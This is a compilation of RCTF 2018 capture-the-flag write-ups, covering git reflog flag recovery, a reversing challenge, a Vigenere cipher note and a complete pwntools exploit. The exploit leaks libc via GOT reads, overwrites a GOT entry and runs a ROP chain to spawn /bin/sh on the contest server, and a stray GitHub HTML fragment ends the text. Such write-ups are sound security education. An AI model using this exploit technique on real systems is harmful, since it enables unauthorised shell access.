attachment: https://drive.google.com/open?id=1Mo3uN2FV1J-lbqjQZvvXitWagZqjD1Xi
Inside there is a zip file with the following contents
```.gitHelloWorld.txt```
Hello World is empty. `git log` shows that the repo only has the initial commit.
## Tools used
- `strings`
## Solution
Part of my initial checklist is running strings on everything, just to see interesting stuff. It's a mindless part of every challenge.
Run:
```bashfind . -type f -exec strings {} \; > ../result.txtcat ../result.txt```
Looking through it, this line caught my eye
```22d3349a5c6fe45758daba276108137382a01caa f4d0f6ddf6660f5c9273c84f3de64840a407bef1 zsx <[email protected]> 1526187319 +0800 commit: Flag```
Not really sure what each of the two commit hashes mean, but I assume one is the commit blob and the other one is the parent. Checking them both.
```bashgit checkout f4d0f6ddf6660f5c9273c84f3de64840a407bef1lscat flag.txt```
**Flag: RCTF{gIt_BranCh_aNd_l0g}** |
Fairly straightforward hash length extension attack using hashpumpy - and a bit of Python brute forcing to determine the key length.
https://advancedpersistentjest.com/2018/05/21/writeups-sign-cpushop-cats-rctf-part-1/ |
# babyre
This is a Reversing challenge from RCTF 2018. So for this challenge we are given two files in our zip. Let's see what they are:
```$ file babyre babyre: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=809e8a49ddb6f593c8e2082edec06f963518faea, stripped$ file out out: ASCII text, with CRLF line terminators$ cat out B80C91FE70573EFEBEED92AE7F7A81937390C17B90347C6CAA7A15DFAA7A15DF526BA076153F1A32545C15AD7D8AA463526BA076FBCB7AA07D8AA4639C513266526BA0766D7DF3E1AA7A15DF9C5132661EDC38649323BC077D8AA463FBCB7AA0153F1A32526BA076F5650025AA7A15DF1EDC3864B13AD888$ ./babyre 1515your input:try again15935728526ba0767f08e077545c15ada1e104307f08e07720067e4bae4c822d28def57eb8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788b8c4f788your input:try again```
So we can see that we are given an ASCII file with what appears to be a lot of hex strings. We can see that we also have an elf which takes input three times, and outputs a lot of hex strings. When we look at the hex strings we have, we can see that they are about half the lenght (eight characters) when compared to the hex strings in the ASCII file (sixteen characters). Also we can see that the elf produces twice the amount of hex strings. So what we probably will need to do is figure out how to get the elf to output the contents of the `out` file. Let's take a look at the elf in a decompiler:
Main Function:```int __cdecl main(){ int result; // eax@7 int v1; // ecx@7 unsigned int seed; // [sp+18h] [bp-80h]@1 int v3; // [sp+1Ch] [bp-7Ch]@1 int v4; // [sp+20h] [bp-78h]@7 char v5; // [sp+24h] [bp-74h]@7 char v6; // [sp+4Ch] [bp-4Ch]@7 char s; // [sp+6Ch] [bp-2Ch]@1 int v8; // [sp+8Ch] [bp-Ch]@1
v8 = *MK_FP(__GS__, 20); v3 = 0x25DB3; memset(&s, 0, 0x20u); scanf("%s", &s); scanf("%d", &seed); if ( (signed int)seed <= 9 ) { puts("needmorestrings"); exit(0); } if ( (signed int)seed > 32 ) { puts("stringsaretoolong"); exit(0); } srand(seed); seed ^= v4 + (v4 ^ seed); v3 = (unsigned __int8)v4; v4 = (unsigned __int8)v4 << 8; first_and_fifth_check(); sub_8048A41((int)&v5;; important_func(&v6, 0xA72BE4C1, 0x1D082C23, seed, v4, v3); sub_8048980(&s); first_and_fifth_check(); putchar(10); result = 0; v1 = *MK_FP(__GS__, 20) ^ v8; return result;}```
So we can see a lot of interesting things here. First we can see that the first input it prompts us for is scanned into the `s` char array, however it doesn't specify how much so we have a buffer overflow bug (not important to the challenge, but I thought it was funny for it to be in an RE chall). Proceeding that our second input an integer to the int `seed` which needs to be between 10-31 otherwise the program will exit. After that `seed` is used as a seedfor the `srand` function. Proceeding that we can see that it assigns values to `seed`, `v3`, and `v4` however we don't have any control over that. For `seed` this is because it ends up zoring it by itself so no matter what we put it is going to end up zero, and for the two our input doesn't influence their value. Let's look at the function `first_and_fifth_check()`:
```int first_and_fifth_check(){ int result; // eax@1 __int32 random_int; // edx@3 int v2; // ecx@11 signed int i0; // [sp+0h] [bp-48h]@1 signed int i1; // [sp+4h] [bp-44h]@4 int v5[3]; // [sp+8h] [bp-40h]@6 int storage_int_array[10]; // [sp+14h] [bp-34h]@3 int v7; // [sp+3Ch] [bp-Ch]@1
v7 = *MK_FP(__GS__, 20); result = 0; for ( i0 = 0; i0 <= 9; ++i0 ) { random_int = random(); result = i0; storage_int_array[i0] = random_int; } for ( i1 = 0; i1 <= 2; ++i1 ) { printf("your input:"); alarm(0xAu); result = storage_int_array[i1 + 2]; if ( v5[i1] != result ) { result = printf("try again"); break; } if ( i1 != 2 ) result = puts("go on!"); } v2 = *MK_FP(__GS__, 20) ^ v7; return result;}```
So for this function, we can see that in order for it to print out the string `go on`, and not to get the string `try again` we will have to get the `random` function to output a value of 0 with a seed between 10-31. The reason for this is the if then statement which decides that checks to see if the output of the random function (stored in the `storage_int_array` and transferred to the `result` int) is equivalent to the corresponding value of the `v5` array, which is zero since it was never assigned. To see if this was possible, I wrote a quick C program just to output the first value of the `random` function using all of our possible seeds here:
```$ cat random.cint first_and_fifth_check(){ int result; // eax@1 __int32 random_int; // edx@3 int v2; // ecx@11 signed int i0; // [sp+0h] [bp-48h]@1 signed int i1; // [sp+4h] [bp-44h]@4 int v5[3]; // [sp+8h] [bp-40h]@6 int storage_int_array[10]; // [sp+14h] [bp-34h]@3 int v7; // [sp+3Ch] [bp-Ch]@1
v7 = *MK_FP(__GS__, 20); result = 0; for ( i0 = 0; i0 <= 9; ++i0 ) { random_int = random(); result = i0; storage_int_array[i0] = random_int; } for ( i1 = 0; i1 <= 2; ++i1 ) { printf("your input:"); alarm(0xAu); result = storage_int_array[i1 + 2]; if ( v5[i1] != result ) { result = printf("try again"); break; } if ( i1 != 2 ) result = puts("go on!"); } v2 = *MK_FP(__GS__, 20) ^ v7; return result;}$ /random 0x486c7c6f0x76927bbf0x648e8cd00x50fa73aa0x7fef911b0x2d6fc2d50x1b93747c0x49308bb90x76ebdb560x25265e190x130c47c70x40c151300x6eb933c20x5d21660e0xb3a38490x783cd2dd0x65d471b50x547568250x423223730x70206b770x1d6f8fa50x4bca8e48```
As you can see with our given constraints it isn't possible to pass that check. However that doesn't matter since the only thing that happens if the check passes is it will print an unimportant string and continue the loop. So in the end we really don't care about that function. When we look at the second function called in main which is `sub_8048A41` we find a similar situation. This is because our input doesn't effect that function in any way. The argument that is passed to it `v5` we don't get to influence it's value at all, and looking at what the function does we can see that it doesn't prompt us for more input or use any of our existing input. Then that brings us to the next function it calls which is `important_func`:
important_func```int __cdecl important_func(void *input, int a2, int a3, int a4, int a5, int a6){ unsigned int v6; // ST4C_4@3 signed int i; // [sp+1Ch] [bp-1Ch]@1
memset(input, 0, 0x20u); scanf("%s", input); for ( i = 0; i <= 29; ++i ) { v6 = process_input(*((_BYTE *)input + i), __PAIR__(a3, a2), a4, a6, a5); printf("%lx\n", v6); } return i;}```
So here we can see it prompts us for our third input which is stored in `input`. In addition to that we can see that it runs each character of our input (plus some other arguments) through the `process_input` function, then prints the result of that. This is where we get the output that we think needs to match the contents of the `out` file. When we look at what `process_input` does, we see it runs it through an algorithm however there is an easier way of figuring out how to get the output we need:
```$ ./babyre 2525your input:try again000000000000000000000000000000c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6your input:try again$ ./babyre eyes10your input:try again000000000000000000000000000000c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6c567b6b6your input:try again```
So when we ran the program twice, we can see two things. The first thing is that the first two inputs we gave doesn't affect the hex strings it outputs. The second is that the hex string it outputs is independent of it's position in the for loop, meaning that if we input the same character in the first and last (or any) iteration of the loop, we will get the same output. With this we don't need to reverse the `process_input` function anymore, we can just run ASCII characters through the function, record the outputs, and correlate them to the contents of the `out` file, and use that to figure out what the flag is. With that, we get the following ranges needed to get the flag:
```a: 0x9c513266b: 0x30a3769ac: 0xaa8afbbad: 0x1edc3864e: 0xaa7a15dff: 0x6c1194bfg: 0xeade7bf1h: 0x115f3801i: 0x42bafa35j: 0xa5a30516k: 0x4e032f9fl: 0x121ee8abm: 0xe75d55e4n: 0x7f543d62o: 0x153f1a32p: 0x6d076b18q: 0xf3857621r: 0x6d7df3e1s: 0xfbcb7aa0t: 0x36b897bdu: 0x82c974fcv: 0xf5650025w: 0x90f77ba1x: 0xf9b8d92by: 0x9323bc07z: 0xa5c88e2
0: 0xc567b6b61: 0x526ba0762: 0xae4c822d3: 0xa1e104304: 0xc3f2de735: 0x7f08e0776: 0x7240b7ba7: 0x20067e4b8: 0x28def57e9: 0x545c15ad!: 0xb8a6ee10@: 0x3e968078#: 0xf1b1602$: 0x2571a420%: 0x805feee3^: 0xa8f27e12&: 0x958b0534*: 0xee152dad(: 0x45c66c5a): 0xcda47499-: 0x7386bd6a_: 0x7d8aa463=: 0x6958d9df+: 0x77591917
K: 0x90347C6C```
With that we can figure out that the flag is `RCTF{Kee1o9_1s_a1ready_so1ved}`. Just like that, we captured the flag! |
# Misc/Git
This was by far the easiest challenge of this event, but a good warm up nonetheless.
The task was to recover a file from a git repository.
You were given a zip archive that contains a local git repository. Inspecting the folder shows only a HelloWorld.txt file. No flag in sight.
We can assume that the flag is hidden in one of the earlier commits.
As someone who always works on his own git repository and commits directly to the master branch I wasn't really a git expert at this point.

But as you know hacking is about being able to research new topics on the fly.
A couple google queries later I found two commands that revealed the necessary information. Key was to include the reflogs.
```git log -g```or even better
```git reflog show HEAD```
The latter command gave this nice list and revealed a commit with the message "Flag":
```22d3349 HEAD@{0}: checkout: moving from develop to master22d3349 HEAD@{1}: rebase -i (finish): returning to refs/heads/develop22d3349 HEAD@{2}: rebase -i (start): checkout 22d3349f671986 HEAD@{3}: checkout: moving from master to develop22d3349 HEAD@{4}: checkout: moving from develop to masterf671986 HEAD@{5}: checkout: moving from master to develop22d3349 HEAD@{6}: checkout: moving from rctf to masterf671986 HEAD@{7}: commit: Revertf4d0f6d HEAD@{8}: commit: Flag22d3349 HEAD@{9}: checkout: moving from master to rctf22d3349 HEAD@{10}: commit (initial): Initial Commit```
Now I only needed to to:
```git checkout -b flag-reveal f4d0f6d```
A new file magically appeared called flag.txt with the fitting content :
```RCTF{gIt_BranCh_aNd_l0g}```
|
Visionary=========
Not too much to explain here, just a basic Vigenere cipher. For eachcharacter in the supplied plaintext, we find its position in theheader row of the table. We scan through all the other rows to findout which row has the corresponding ciphertext character in the sameposition. Then we find the position of the flag's ciphertextcharacter in that row, and print out the corresponding character inthe header row, providing us with the flag's plaintext character.Across, straight down, across, straight up. |
```from pwn import *from time import sleep from hashlib import sha256import itertoolsimport string
def pow(): prefix = t.recvline().strip() log.info("Calculating PoW: {}".format(prefix)) x = [chr(i) for i in range(0, 256)] val = None
for combo in itertools.combinations_with_replacement(x,4): if sha256(prefix + ''.join(combo)).digest().startswith('\0\0\0'): log.info("Done: {}".format(sha256(prefix + ''.join(combo)).hexdigest())) val = ''.join(combo) break
if val: t.sendline(val) else: log.info("Failed PoW")
#t = process('./simulator', env={'LD_PRELOAD': '/home/bob/sim_libc.so'})#print("Attach...")#sleep(4)
t = remote('simulator.2018.teamrois.cn', 3131)pow()
code = """# # Leak GOT entry of feof# li $t0, 3766524421# lw $t1, $t0# move $a0, $t1# li $v0, 1# syscall
# # Leak GOT entry of setvbuf# li $t0, 3766524424# lw $t1, $t0# move $a0, $t1# li $v0, 1# syscall
# # Leak GOT entry of __libc_start_mainli $t0, 3766524423lw $t1, $t0#move $a0, $t1#li $v0, 1#syscall
# Subtract to get libc base and leakli $t0, 3766524421lw $t1, $t0 li $s0, 411664sub $t2, $t1, $s0move $a0, $t2li $v0, 1syscall
# Overwrite __stack_chk_fail GOT to point to "leave; ret"li $t0, 134523990li $t1, 3766524419sw $t0, $t1
END"""
t.send(code)
# Receive libc leakbase = t.recvline()base = (0xffffffff + 1) + int(base)
binsh = base + 0x15902bsystem = base + 0x3a940log.info("libc base: {}".format(hex(base)))log.info("/bin/sh: {}".format(hex(binsh)))log.info("system: {}".format(hex(system)))
# ROP to victory buf = "A"*44 + 'BBBB'buf += p32(system)buf += p32(0xdeadbeef)buf += p32(binsh)
log.info("Executing system('/bin/sh')")t.sendline(buf)
t.recv()t.interactive()```
Running this gives:```vagrant@vagrant:~$ python /vagrant/shared/simulator.py[+] Opening connection to simulator.2018.teamrois.cn on port 3131: Done[*] Calculating PoW: IlBn0dsx9Hj0daP0[*] Done: 00000091b2fa928489c69cfe2474309c3db3c26640958cb4152ce8a8762337d8[*] libc base: 0xf7d9a000[*] /bin/sh: 0xf7ef302b[*] system: 0xf7dd4940[*] Executing system('/bin/sh')[*] Switching to interactive mode$ cat flagRCTF{5imu_s1mu_sinnu_siml_l_simulator!_7a3dac}``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf/2018/RCTF 2018/rev/babyre at master · acdwas/ctf · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="A7CD:8CC1:15837583:16249132:64122666" data-pjax-transient="true"/><meta name="html-safe-nonce" content="cdf89eee4870f6939c49e6d91cdd23a274f63be3d51431b56abde2a9e651d41a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBN0NEOjhDQzE6MTU4Mzc1ODM6MTYyNDkxMzI6NjQxMjI2NjYiLCJ2aXNpdG9yX2lkIjoiNTkwOTI1NDQ4NTU3NDgyMTQ3OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="534b855332b35bb46e56abc2bbdfffc5039c0f82e71fb78ef787828bb2db3f75" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:124655323" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to acdwas/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/9b98b72adb831b3851b01805511beba058a5c295fb1ddd78c19386b02ddab30b/acdwas/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/2018/RCTF 2018/rev/babyre at master · acdwas/ctf" /><meta name="twitter:description" content="Contribute to acdwas/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/9b98b72adb831b3851b01805511beba058a5c295fb1ddd78c19386b02ddab30b/acdwas/ctf" /><meta property="og:image:alt" content="Contribute to acdwas/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/2018/RCTF 2018/rev/babyre at master · acdwas/ctf" /><meta property="og:url" content="https://github.com/acdwas/ctf" /><meta property="og:description" content="Contribute to acdwas/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/acdwas/ctf git https://github.com/acdwas/ctf.git">
<meta name="octolytics-dimension-user_id" content="17169107" /><meta name="octolytics-dimension-user_login" content="acdwas" /><meta name="octolytics-dimension-repository_id" content="124655323" /><meta name="octolytics-dimension-repository_nwo" content="acdwas/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="124655323" /><meta name="octolytics-dimension-repository_network_root_nwo" content="acdwas/ctf" />
<link rel="canonical" href="https://github.com/acdwas/ctf/tree/master/2018/RCTF%202018/rev/babyre" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
